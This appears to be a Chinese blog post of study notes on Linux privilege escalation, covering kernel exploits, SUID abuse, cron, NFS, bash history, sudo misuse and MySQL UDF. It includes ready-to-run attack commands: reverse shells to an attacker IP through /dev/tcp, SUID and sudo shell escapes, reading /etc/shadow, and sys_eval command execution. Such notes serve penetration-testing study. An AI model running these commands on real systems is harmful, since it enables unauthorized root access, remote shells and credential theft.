linux 权限提升

参考引用文章,引用以作学习之用。

提权学习之旅——Linux操作系统提权 - 先知社区 (aliyun.com)
https://xz.aliyun.com/t/11664

# 注:
Linux一般拿到shell,权限基本都很低,而且在一些shell工具中执行命令没有交互过程(在菜刀等工具中,只是输入返回内容),所以需要通过反弹shell拥有一个交互式的shell,也利于后续的提权利用。

bash -i >& /dev/tcp/ip/port 0>&1

内核漏洞提权 【dirtycow 脏牛提权】

   # 查看linux 发行版本号
   uname -a
   
   searchsploit 2.6.32
   
   根据查找到的漏洞,编译程序上传至待提权主机,进行提权
   
   # 【Linux权限提升审核工具,是基于操作系统的内核版本号。程序会执行“uname -r”命令来获取Linux操作系统发行版本,之后返回一个包含了适用exploits的提示列表。】
   Linux-exploit-suggester
   wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh
   bash les.sh

suid 提权

   	GTFOBins(sudo滥用和SUID提权命令查询)https://gtfobins.github.io/
       1. 原理
       suid可以用于提权,是因为有些程序在执行时需要比普通用户更高的权限,例如passwd、ping、su等。这些程序通常由root用户或其他特权用户拥有,并设置了suid位,以便其他用户可以使用它们。如果这些程序存在漏洞或者被恶意修改,那么执行它们的用户就可能以root或其他特权用户的身份执行任意命令,从而实现提权。
   
       2. 寻找和利用suid程序
       find / -user root -perm -4000 -print 2>/dev/null
   
       find / -perm -u=s -type f 2>/dev/null
   
       find / -user root -perm -4000 -exec ls -ldb {} \;
   
       -perm -u=s是一个选项,表示只匹配那些用户(u)权限中包含suid(s)位的文件。
       2>/dev/null是一个重定向,表示将错误信息(2)输出到空设备(/dev/null)
   
       3. 分析找到的suid程序,判断是否存在漏洞或者是否可以被滥用 【根据程序是否爆出本地提权漏洞 以及 历史利用情况进行判断】
   
       4. 利用找到的漏洞或者滥用方法,执行提权命令
   
       5. 常见的suid提权的程序或命令
   
           nmap:nmap是一个端口扫描工具,如果它的版本在2.02-5.21之间,并且有suid权限,那么可以利用它的交互模式执行任意命令。具体步骤如下:
   
           运行nmap --interactive进入交互模式
   
           运行!sh或者其他命令获取shell
   
           如果需要反弹shell,可以运行!bash -i >& /dev/tcp/攻击者IP/端口 0>&1
   
           vim:vim是一个文本编辑器,如果它有suid权限,那么可以利用它的shell选项执行任意命令。具体步骤如下:
   
           运行vim.tiny或者其他版本的vim
   
           按下ESC键,输入:set shell=/bin/sh
   
           输入:shell获取shell
   
           find:find是一个查找文件的工具,如果它有suid权限,那么可以利用它的-exec选项执行任意命令。具体步骤如下:
   
           运行find / -exec /bin/sh \;获取shell
   
           如果需要反弹shell,可以运行find / -exec bash -i >& /dev/tcp/192.168.106.139/4450 0>&1 \;
   
           less/more:less和more是两个查看文件内容的工具,如果它们有suid权限,那么可以利用它们的!选项执行任意命令。具体步骤如下:
   
           运行less /etc/passwd或者more /etc/passwd
   
           输入!/bin/sh或者其他命令获取shell
   
           cp/mv:cp和mv是两个复制和移动文件的工具,如果它们有suid权限,那么可以利用它们覆盖一些敏感文件,例如/etc/passwd或者/etc/shadow。具体步骤如下:
   
           创建一个新的passwd或者shadow文件,其中包含一个新的root用户和密码
   
           运行cp 新文件 /etc/passwd或者mv 新文件 /etc/passwd
   
           运行su 新用户获取root权限
   	
   	6. 利用案例
   	https://github.com/luijait/PwnKit-Exploit
	

crontab 计划任务提权

       1. 基础介绍:
       crontab命令用来定期执行程序。
       -e   编辑当前的crontab文件,默认保存在/var/spool/cron/用户名下
       -r   删除目前的时程表
       -l   列出目前的时程表
       语法格式:
       分 时 日 月 周 需要执行的命令
   
       分:0~59
       时:0~23
       日:1~31
       月:1~12
       周:0~6 #0代表周日
       *:(星号)代表取值范围中的每一个数字
       -:(减号)连续区间表达式,想要代表1~7,则需要写成1-7
       /:(斜杠)表示每x个。例如想在每10分钟执行一次,则在分的位置写:*/10
       ,:(逗号)表示多个取值。如果想在1点,3点,5点执行一次,则在时的位置写:1,3,5
   
       */2 * * * * echo `date` >> /tmp/stu01 表示每两分钟输出时间到/tmp/stu01文件。
   
       /var/spool/cron/user 用来区分每个用户自己的执行计划
   
       而 /etc/crontab 表示系统执行计划,需要在五个*后面加上用户
       如编辑/etc/crontab 文件
   
   
       如添加
   
       */1 * * * * root  ls />> /tmp/cron
       表示每分钟执行ls命令并输出到/tmp/cron 文件。
   
       其余关于计划任务的文件
   
       /etc/cron.deny   表示只拒绝哪些用户不能他用crontab,默认存在空文件
       /etc/cron.allow  表示只允许哪些用户使用crontab
   
       2. 漏洞产生原因
   
       Crontab通常以root权限运行。如果可以成功篡改在定时任务执行的任何脚本或二进制文件,那么我们可以使用root权限执行任意代码。
   
       3. 漏洞利用
       ls -l /etc/cron*
       
       假如root用户配置不当,在/etc/crontab文件创建了一个计划任务。
   
       4. 防范
       crontab计划任务不要写到/etc/crontab文件里,而是通过crontab -e去创建,让他写到默认的/var/spool/cron下。
       
       5. 实战
       pspy是一种命令行工具,无需root权限即可监听进程。可以查看其他用户执行的命令、cron作业等。
   
       该工具的下载地址:
   
       https://github.com/DominicBreuker/pspy
       首先将pspy上传到目标机器
   
       1)chmod +x pspy64s
       2)./pspy64
   
       观察一段时间,发现test.py为root权限执行
       
       通过此种方式,完成root权限执行的计划任务的初步排查。
       如果 计划任务可修改,便可以写入任务进行提权,包括反弹shell和添加用户。

第三方组件漏洞提权

   某些程序使用root权限启动,如果第三方服务或者程序存在漏洞或者配置问题,可以被利用来获得root权限。

弱口令

   root 账户弱口令爆破/passwd edit 增加用户/hash 爆破/密码复用【数据库或者web后台的密码就是root密码】

NFS 提权

       1. 简介
       NFS(Network File System)即网络文件系统,它允许网络中的计算机之间通过TCP/IP网络共享资源。在NFS的应用中,本地NFS的客户端应用可以透明地读写位于远端NFS服务器上的文件,就像访问本地文件一样。若运维人员未对文件访问进行控制,将导致本地文件可被任意读取。
   
       2. 原理
       当服务器中存在NFS共享,开启no_root_squash选项时,如果客户端使用的是root用户,那么对于共享目录来说,该客户端就有root权限,可以使用它来提升权限。
   
       3. 利用
       (1)查看NFS服务器上的共享目录
   
       sudo showmount -e 10.1.1.233
   
       (2)创建本地挂载目录,挂载共享目录。使用攻击者本地root权限创建Suid shell。
   
       sudo mkdir -p /tmp/data
   
       sudo mount -t ntfs -w 10.1.1.233:/nfs /tmp/data
   
       cp /bin/bash /tmp/data/shell
   
       chmod u+s /tmp/data/shell
   
       (3)回到要提权的服务器上,使用普通用户使用-p参数来获取root权限。

历史记录提权

   通过查看历史记录,查看是否有有用的信息,有的管理员为了方便登陆mysql或其他软件时,不经意间加上参数-p,从而将密码暴露出来或者一些.sh脚本连接mysql、vpn等,查看对应的配置文件即可拿到账号密码
   
   cat ~/.bash_history
   保存了当前用户使用过的历史命令
   
   如果拿到数据库的账号密码,有可能就是root密码

配置错误引发提权

   手动找如果对Linux系统不熟悉的话基本是找不到的,所以可以利用工具去查找
   unix-privesc-check:http://pentestmonkey.net/tools/audit/unix-privesc-check
   linuxprivchecker: https://www.securitysift.com/download/linuxprivchecker.py
   
   检查了非常多的配置问题,而且还列出了所有的可写文件,如果找到有配置问题的便可以进行提权操作。

sudo滥用

   /etc/sudoers文件定义可以执行 sudo 的账户、定义某个应用程序用 root 访问、是否需要密码验证
   
   sudo -l	#查看当前用户可以sudo的程序
   
   AWK:
   sudo awk 'BEGIN {system("/bin/sh")}'	
   #通过生成交互式系统外Shell来脱离受限环境,需要普通用户的密码
   
   CURL:
   sudo curl file:///etc/shadow
   

udf 提权

利用前提

1. root权限(需要创建和删除自定义函数)
2. mysql配置文件secure_file_priv项设置为空,(如果为NULL或/tmp/等指定目录,即无法自定义udf文件导出位置,则无法利用);

注:
show variables like '%secure%';查看 secure-file-priv 当前的值是什么。

secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限。

当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

使用 udf 分为三个步骤:


1. 把含自定义函数(如执行系统命令函数 sys_eval )的 dll 文件放入特定文件夹下
2. 声明引入这个dll文件中的自定义函数
3. 使用自定义的函数

select @@version; 查看mysql 版本

若mysql < 5.1,udf.dll 文件在 win2003 下放置于 c:\windows\system32 目录,在 win2000下放置在 c:\winnt\system32 目录
若mysql >= 5.1,udf.dll 文件放置在 mysql 安装目录的 lib\plugin 文件夹下(该目录默认是不存在的,需要使用 webshell 找到 mysql 的安装目录,并在安装目录下创建 lib\plugin 文件夹,然后将 udf.dll 文件导出到该目录)

在上传udf.dll 文件后

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

只有两个变量,一个是function_name(函数名),我们想引入的函数是sys_eval。还有一个变量是shared_library_name(共享包名称),即‘udf.dll’。

# 引用后便可以直接使用
select sys_eval('cmd command');

posted @ 2023-10-29 21:53  Only-xiaoxiao  阅读(144)  评论(0编辑  收藏  举报